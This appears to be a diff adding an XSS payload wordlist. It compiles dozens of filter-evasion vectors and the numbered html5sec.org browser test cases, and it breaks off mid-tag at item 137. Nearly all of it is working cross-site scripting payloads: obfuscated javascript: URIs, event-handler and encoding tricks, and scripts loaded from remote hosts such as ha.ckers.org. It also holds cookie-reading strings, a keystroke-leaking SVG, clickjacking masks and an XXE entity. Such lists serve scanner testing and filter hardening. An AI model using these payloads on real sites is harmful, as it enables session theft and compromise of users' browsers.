+<IMG SRC=JaVaScRiPt:alert('XSS')> +<IMG SRC=javascript:alert(&quot;XSS&quot;)> +<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> +<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> +SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> +<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> +<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> +<IMG SRC="jav ascript:alert('XSS');"> +<IMG SRC="jav&#x09;ascript:alert('XSS');"> +<IMG SRC="jav&#x0A;ascript:alert('XSS');"> +<IMG SRC="jav&#x0D;ascript:alert('XSS');"> +<IMG SRC=" &#14; javascript:alert('XSS');"> +<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT SRC=http://ha.ckers.org/xss.js?<B> +<IMG SRC="javascript:alert('XSS')" +<SCRIPT>a=/XSS/ +\";alert('XSS');// +<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> +<BODY BACKGROUND="javascript:alert('XSS')"> +<BODY ONLOAD=alert('XSS')> +<IMG DYNSRC="javascript:alert('XSS')"> +<IMG LOWSRC="javascript:alert('XSS')"> +<BGSOUND SRC="javascript:alert('XSS');"> +<BR SIZE="&{alert('XSS')}"> +<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> +<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> +<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> +<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> +<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> +<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> +<IMG SRC='vbscript:msgbox("XSS")'> +<IMG SRC="mocha:[code]"> +<IMG SRC="livescript:[code]"> +<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> +<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> +<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet"> +<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> +<IFRAME SRC="javascript:alert('XSS');"></IFRAME> +<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> +<TABLE BACKGROUND="javascript:alert('XSS')"> +<DIV STYLE="background-image: url(javascript:alert('XSS'))"> +<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> +<DIV STYLE="width: expression(alert('XSS'));"> +<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> +<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> +<XSS STYLE="xss:expression(alert('XSS'))"> +exp/*<XSS STYLE='no\xss:noxss("*//*"); +<STYLE TYPE="text/javascript">alert('XSS');</STYLE> +<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> +<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> +<BASE HREF="javascript:alert('XSS');//"> +<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> +<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> +getURL("javascript:alert('XSS')") +a="get"; +<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');"> +<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> +<HTML><BODY> +<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> +<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> +<? echo('<SCR)'; +<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;"> +<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- +<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> +<svg%0Aonload=%09((pro\u006dpt))()// +<sCriPt x>(((confirm)))``</scRipt x> +<w="/x="y>"/OndbLcLick=`<`[confir\u006d``]>z +<deTAiLs/open/oNtoGGle=confirm()> +<scRiPt y="><">/*<sCRipt* */prompt()</script +<A href="javascript%26colon;confirm()">click +<sVg oNloaD=write()> +<A href=javas%26#99;ript:alert(1)>click +<sCrIpt/"<a"/srC=data:=".<a,[8].some(confirm)> +<svG/x=">"/oNloaD=confirm()// +<--`<iMG/srC=` onerror=confirm``> --!> +<SVg </onlOad ="1> (_=prompt,_(1)) ""> +<!--><scRipT src=//14.rs> +<sCriPt/src=//14.rs? +<sCRIpt x=">" src=//15.rs></script> +<D3/OnMouSEenTer=[2].find(confirm)>z +<D3"<"/OncLick="1>[confirm``]"<">z +<D3/OnpOinTeReENter=confirm``>click here +<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //> +<Z oncut=alert()>x +<iFrAMe/src \/\/onload = prompt(1) +<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x> +>>> vectors() +<div id="1"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]</div><div id="4">0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]>]</div><div id="5"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'`-->]]>]</div><div id="6"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'`-->]]>]</div><div id="7"><input onfocus=alert(7) autofocus>//["'`-->]]>]</div><div id="8"><input onblur=alert(8) autofocus><input autofocus>//["'`-->]]>]</div><div id="9"><a style="-o-link:'javascript:alert(9)';-o-link-source:current">X</a>//["'`-->]]>]</div><div id="10"><video poster=javascript:alert(10)//></video>//["'`-->]]>]</div><div id="11"><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(11)"></g></svg>//["'`-->]]>]</div><div id="12"><body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//["'`-->]]>]</div><div id="13"><x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>//["'`-->]]>]</div><div id="14"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//["'`-->]]>]</div><div id="15"><script>({0:#0=alert/#0#/#0#(0)})</script>//["'`-->]]>]</div><div id="16">X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >//["'`-->]]>]</div><div id="17"><?xml-stylesheet href="javascript:alert(17)"?><root/>//["'`-->]]>]</div><div id="18"><script xmlns="http://www.w3.org/1999/xhtml">&#x61;l&#x65;rt&#40;1)</script>//["'`-->]]>]</div><div id="19"><meta charset="x-mac-farsi">¼script ¾alert(19)//¼/script ¾//["'`-->]]>]</div><div id="20"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//["'`-->]]>]</div><div id="21"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//["'`-->]]>]</div><div id="22"><input onblur=focus() autofocus><input>//["'`-->]]>]</div><div id="23"><form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//["'`-->]]>]</div><div id="24">1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(24)&gt;`>//["'`-->]]>]</div><div id="25"><script src="#">{alert(25)}</script>;1//["'`-->]]>]</div><div id="26">+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//["'`-->]]>]</div><div id="27"><style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>//["'`-->]]>]</div> +<div id="28">1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(28)&gt;>//["'`-->]]>]</div> +<div id="29"><link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d//["'`-->]]>]</div><div id="30"><style>@import "data:,*%7bx:expression(alert(30))%7D";</style>//["'`-->]]>]</div><div id="31"><frameset onload=alert(31)>//["'`-->]]>]</div><div id="32"><table background="javascript:alert(32)"></table>//["'`-->]]>]</div><div id="33"><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(33);">XXX</a></a><a href="javascript:alert(2)">XXX</a>//["'`-->]]>]</div><div id="34">1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//["'`-->]]>]</div><div id="35">1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//["'`-->]]>]</div><div id="36"><a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(36)">XXX</a>//["'`-->]]>]</div><div id="37"><!--<img src="--><img src=x onerror=alert(37)//">//["'`-->]]>]</div><div id="38"><comment><img src="</comment><img src=x onerror=alert(38)//">//["'`-->]]>]</div> +<div id="39"><!-- up to Opera 11.52, FF 3.6.28 --> +<![><img src="]><img src=x onerror=alert(39)//"> +<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --> +<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>//["'`-->]]>]</div> +<div id="40"><style><img src="</style><img src=x onerror=alert(40)//">//["'`-->]]>]</div> +<div id="41"><li style=list-style:url() onerror=alert(41)></li> +<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(41)></div>//["'`-->]]>]</div> +<div id="42"><head><base href="javascript://"/></head><body><a href="/. /,alert(42)//#">XXX</a></body>//["'`-->]]>]</div> +<div id="43"><?xml version="1.0" standalone="no"?> +<html xmlns="http://www.w3.org/1999/xhtml"> +<head><style type="text/css">@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}</style></head> +<body>Hello</body> +</html>//["'`-->]]>]</div> +<div id="44"><style>*[{}@import'test.css?]{color: green;}</style>X//["'`-->]]>]</div><div id="45"><div style="font-family:'foo[a];color:red;';">XXX</div>//["'`-->]]>]</div><div id="46"><div style="font-family:foo}color=red;">XXX</div>//["'`-->]]>]</div><div id="47"><svg xmlns="http://www.w3.org/2000/svg"><script>alert(47)</script></svg>//["'`-->]]>]</div><div id="48"><SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>//["'`-->]]>]</div><div id="49"><OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(49)"></OBJECT>//["'`-->]]>]</div><div id="50"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>//["'`-->]]>]</div><div id="51"><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>//["'`-->]]>]</div><div id="52"><x style="behavior:url(test.sct)">//["'`-->]]>]</div> +<div id="53"><xml id="xss" src="test.htc"></xml> +<label dataformatas="html" datasrc="#xss" datafld="payload"></label>//["'`-->]]>]</div> +<div id="54"><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>//["'`-->]]>]</div><div id="55"><video><source onerror="alert(55)">//["'`-->]]>]</div><div id="56"><video onerror="alert(56)"><source></source></video>//["'`-->]]>]</div><div id="57"><b <script>alert(57)//</script>0</script></b>//["'`-->]]>]</div><div id="58"><b><script<b></b><alert(58)</script </b></b>//["'`-->]]>]</div><div id="59"><div id="div1"><input value="``onmouseover=alert(59)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>//["'`-->]]>]</div><div id="60"><div style="[a]color[b]:[c]red">XXX</div>//["'`-->]]>]</div> +<div id="61"><div style="\63&#9\06f&#10\0006c&#12\00006F&#13\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \&#xA0or:blue;">XXX</div>//["'`-->]]>]</div> +<div id="62"><!-- IE 6-8 --> +<x '="foo"><x foo='><img src=x onerror=alert(62)//'> +<!-- IE 6-9 --> +<! '="foo"><x foo='><img src=x onerror=alert(2)//'> +<? '="foo"><x foo='><img src=x onerror=alert(3)//'>//["'`-->]]>]</div> +<div id="63"><embed src="javascript:alert(63)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF +<img src="javascript:alert(2)"> +<image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓ +<script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓//["'`-->]]>]</div> +<div id="64"><!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>//["'`-->]]>]</div><div id="65"><svg onload="javascript:alert(65)" xmlns="http://www.w3.org/2000/svg"></svg>//["'`-->]]>]</div> +<div id="66"><?xml version="1.0"?> +<?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?> +<root/>//["'`-->]]>]</div> +<div id="67"><!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x"onerror CDATA "alert(67)"onload CDATA "alert(2)">]><img />//["'`-->]]>]</div> +<div id="68"><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:alert(68)" xlink:type="simple">XXX</x></doc>//["'`-->]]>]</div> +<div id="69"><card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(69)"/></onevent><timer value="1"/></card>//["'`-->]]>]</div><div id="70"><div style=width:1px;filter:glow onfilterchange=alert(70)>x</div>//["'`-->]]>]</div><div id="71"><// style=x:expression\28alert(71)\29>//["'`-->]]>]</div><div id="72"><form><button formaction="javascript:alert(72)">X</button>//["'`-->]]>]</div><div id="73"><event-source src="event.php" onload="alert(73)">//["'`-->]]>]</div><div id="74"><a href="javascript:alert(74)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>//["'`-->]]>]</div><div id="75"><script<{alert(75)}/></script </>//["'`-->]]>]</div><div id="76"><?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>//["'`-->]]>]</div><div id="77"><?xml-stylesheet type="text/css"?><root style="x:expression(alert(77))"/>//["'`-->]]>]</div><div id="78"><?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>//["'`-->]]>]</div><div id="79"><object allowscriptaccess="always" data="test.swf"></object>//["'`-->]]>]</div><div id="80"><style>*{x:expression(alert(80))}</style>//["'`-->]]>]</div><div id="81"><x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(81)" xlink:type="simple"/>//["'`-->]]>]</div><div id="82"><?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>//["'`-->]]>]</div> +<div id="83"><x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(83)"><x:timer value="1"/></x:template>//["'`-->]]>]</div> +<div id="84"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(84)//#x"/>//["'`-->]]>]</div><div id="85"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>//["'`-->]]>]</div><div id="86"><body oninput=alert(86)><input autofocus>//["'`-->]]>]</div> +<div id="87"><svg xmlns="http://www.w3.org/2000/svg"> +<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(87)"><rect width="1000" height="1000" fill="white"/></a> +</svg>//["'`-->]]>]</div> +<div id="88"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> +<animation xlink:href="javascript:alert(88)"/> +<animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/> +<image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/> +<foreignObject xlink:href="javascript:alert(88)"/> +<foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(88)%3C/script%3E"/> +</svg>//["'`-->]]>]</div> +<div id="89"><svg xmlns="http://www.w3.org/2000/svg"> +<set attributeName="onmouseover" to="alert(89)"/> +<animate attributeName="onunload" to="alert(89)"/> +</svg>//["'`-->]]>]</div> +<div id="90"><!-- Up to Opera 10.63 --> +<div style=content:url(test2.svg)></div> +<!-- Up to Opera 11.64 - see link below --> +<!-- Up to Opera 12.x --> +<div style="background:url(test5.svg)">PRESS ENTER</div>//["'`-->]]>]</div> +<div id="91">[A] +<? foo="><script>alert(91)</script>"> +<! foo="><script>alert(91)</script>"> +</ foo="><script>alert(91)</script>"> +<? foo="><x foo='?><script>alert(91)</script>'>"> +<! foo="[[[x]]"><x foo="]foo><script>alert(91)</script>"> +<% foo><x foo="%><script>alert(91)</script>">//["'`-->]]>]</div> +<div id="92"><div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div><div id="93"><div style="list-style:url(http://foo.f)\20url(javascript:alert(93));">X</div>//["'`-->]]>]</div> +<div id="94"><svg xmlns="http://www.w3.org/2000/svg"> +<handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(94)</handler> +</svg>//["'`-->]]>]</div> +<div id="95"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> +<feImage><set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/></feImage> +</svg>//["'`-->]]>]</div> +<div id="96"><iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe> +<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>//["'`-->]]>]</div> +<div id="97"><!-- IE 5-9 --> +<div id=d><x xmlns="><iframe onload=alert(97)"></div> +<script>d.innerHTML+='';</script> +<!-- IE 10 in IE5-9 Standards mode --> +<div id=d><x xmlns='"><iframe onload=alert(2)//'></div> +<script>d.innerHTML+='';</script>//["'`-->]]>]</div> +<div id="98"><div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div> +<script>with(document.getElementById("d"))innerHTML=innerHTML</script>//["'`-->]]>]</div> +<div id="99">XXX<style> +*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */ +<!-- +--><!--*{color:red} /* all UA */ +*{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */ +</style>//["'`-->]]>]</div> +<div id="100"><img[a][b]src=x[d]onerror[c]=[e]"alert(100)">//["'`-->]]>]</div><div id="101"><a href="[a]java[b]script[c]:alert(101)">XXX</a>//["'`-->]]>]</div><div id="102"><img src="x` `<script>alert(102)</script>"` `>//["'`-->]]>]</div><div id="103"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>//["'`-->]]>]</div> +<div id="104"><svg xmlns="http://www.w3.org/2000/svg" id="foo"> +<x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/> +</svg>//["'`-->]]>]</div> +<div id="105"><iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>//["'`-->]]>]</div><div id="106"><img src onerror /" '"= alt=alert(106)//">//["'`-->]]>]</div><div id="107"><title onpropertychange=alert(107)></title><title title=></title>//["'`-->]]>]</div> +<div id="108"><!-- IE 5-8 standards mode --> +<a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(108)></a>"> +<!-- IE 5-9 standards mode --> +<!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//"> +<?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">//["'`-->]]>]</div> +<div id="109"><svg xmlns="http://www.w3.org/2000/svg"> +<a id="x"><rect fill="white" width="1000" height="1000"/></a> +<rect fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/> +</svg>//["'`-->]]>]</div> +<div id="110"><svg xmlns="http://www.w3.org/2000/svg"> +<path d="M0,0" style="marker-start:url(test4.svg#a)"/> +</svg>//["'`-->]]>]</div> +<div id="111"><div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div><div id="112"><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div> +<div id="113"><div id="x">XXX</div> +<style>#x{font-family:foo[bar;color:green;}#y];color:red;{}</style>//["'`-->]]>]</div> +<div id="114"><x style="background:url('x[a];color:red;/*')">XXX</x>//["'`-->]]>]</div> +<div id="115"><!--[if]><script>alert(115)</script --> +<!--[if<img src=x onerror=alert(2)//]> -->//["'`-->]]>]</div> +<div id="116"><div id="x">x</div> +<xml:namespace prefix="t"> +<import namespace="t" implementation="#default#time2"> +<t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(116)&gt;">//["'`-->]]>]</div> +<div id="117"><a href="http://attacker.org"> +<iframe src="http://example.org/"></iframe> +</a>//["'`-->]]>]</div> +<div id="118"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"><h1>Drop me</h1></div> +<iframe src="http://www.example.org/dropHere.html"></iframe>//["'`-->]]>]</div> +<div id="119"><iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe> +<textarea type="text" cols="50" rows="10"></textarea>//["'`-->]]>]</div> +<div id="120"><script>function makePopups(){for (i=1;i<6;i++) {window.open('popup.html','spam'+i,'width=50,height=50');}}</script> +<body><a href="#" onclick="makePopups()">Spam</a>//["'`-->]]>]</div> +<div id="121"><html xmlns="http://www.w3.org/1999/xhtml" +xmlns:svg="http://www.w3.org/2000/svg"> +<body style="background:gray"> +<iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/> +<svg:svg><svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"><svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/><svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/></svg:mask></svg:svg></body> +</html>//["'`-->]]>]</div> +<div id="122"><iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>//["'`-->]]>]</div> +<div id="123"><span class=foo>Some text</span> +<a class=bar href="http://www.example.org">www.example.org</a> +<script src="http://code.jquery.com/jquery-1.4.4.js"></script> +<script>$("span.foo").click(function() {alert('foo');$("a.bar").click();});$("a.bar").click(function() {alert('bar');location="http://html5sec.org";});</script>//["'`-->]]>]</div> +<div id="124"><script src="/\example.com\foo.js"></script> // Safari 5.0, Chrome 9, 10 +<script src="\\example.com\foo.js"></script> // Safari 5.0//["'`-->]]>]</div> +<div id="125"><?xml version="1.0"?> +<?xml-stylesheet type="text/xml" href="#stylesheet"?> +<!DOCTYPE doc [ +<!ATTLIST xsl:stylesheet id ID #REQUIRED>]> +<svg xmlns="http://www.w3.org/2000/svg"> +<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"><iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(125)"></iframe> </xsl:template></xsl:stylesheet><circle fill="red" r="40"></circle></svg>//["'`-->]]>]</div> +<div id="126"><object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> +<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(126)" style="behavior:url(#x);"><param name=postdomevents /></object>//["'`-->]]>]</div> +<div id="127"><svg xmlns="http://www.w3.org/2000/svg" id="x"> +<listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/> +<handler id="y">alert(127)</handler> +</svg>//["'`-->]]>]</div> +<div id="128"><svg><style>&lt;img/src=x onerror=alert(128)// </b>//["'`-->]]>]</div> +<div id="129"><svg> +<image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>")'> +</svg>//["'`-->]]>]</div> +<div id="130"><math href="javascript:alert(130)">CLICKME</math> +<math> +<maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction> +<maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction> +</math>//["'`-->]]>]</div> +<div id="131"><b>drag and drop one of the following strings to the drop box:</b> +<br/><hr/>jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/> +feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/> +feed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b> +<br/><hr/>feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/> +<div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>//["'`-->]]>]</div> +<div id="132"><!doctype html> +<form> +<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label> +<br> +<input name="secret" type="password"> +</form> +<!-- injection --><svg height="50px"> +<image xmlns:xlink="http://www.w3.org/1999/xlink"> +<set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" /> +<set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" /> +<set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" /> +<set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" /> +</image> +</svg>//["'`-->]]>]</div> +<div id="133"><!-- `<img/src=xx:xx onerror=alert(133)//--!>//["'`-->]]>]</div> +<div id="134"><xmp> +<% +</xmp> +<img alt='%></xmp><img src=xx:x onerror=aler +*{color:red}</style>//["'`-->]]>]</div> +<div id="135"><?xml-stylesheet type="text/xsl" href="#" ?> +<stylesheet xmlns="http://www.w3.org/TR/WD-xsl"> +<template match="/"> +<eval>new ActiveXObject(&apos;htmlfile&apos;).parentWindow.alert(135)</eval> +<if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if> +</template> +</stylesheet>//["'`-->]]>]</div> +<div id="136"><form action="" method="post"> +<input name="username" value="admin" /> +<input name="password" type="password" value="secret" /> +<input name="injected" value="injected" dirname="password" /> +<input type="submit"> +</form>//["'`-->]]>]</div> +<div id="137"><svg> +<a xmlns:xlink="http://www.w3.org/1999/xlink" 